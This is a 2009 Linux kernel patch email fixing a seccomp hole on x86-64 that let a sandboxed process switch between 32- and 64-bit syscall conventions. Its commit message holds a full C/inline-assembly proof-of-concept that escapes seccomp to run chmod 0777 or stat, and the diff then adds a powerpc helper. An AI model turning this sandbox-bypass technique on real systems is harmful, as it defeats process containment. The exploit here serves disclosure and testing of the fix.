From 5b1017404aea6d2e552e991b3fd814d839e9cd67 Mon Sep 17 00:00:00 2001 From: Roland McGrath Date: Fri, 27 Feb 2009 23:25:54 -0800 Subject: x86-64: seccomp: fix 32/64 syscall hole On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include #include #include #include #include #include #include int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds --- arch/powerpc/include/asm/compat.h | 5 +++++ 1 file changed, 5 insertions(+) (limited to 'arch/powerpc/include/asm/compat.h') diff --git a/arch/powerpc/include/asm/compat.h b/arch/powerpc/include/asm/compat.h index d811a8cd7b58..4774c2f92232 100644 --- a/arch/powerpc/include/asm/compat.h +++ b/arch/powerpc/include/asm/compat.h @@ -210,5 +210,10 @@ struct compat_shmid64_ds { compat_ulong_t __unused6; }; +static inline int is_compat_task(void) +{ + return test_thread_flag(TIF_32BIT); +} + #endif /* __KERNEL__ */ #endif /* _ASM_POWERPC_COMPAT_H */ -- cgit v1.2.3
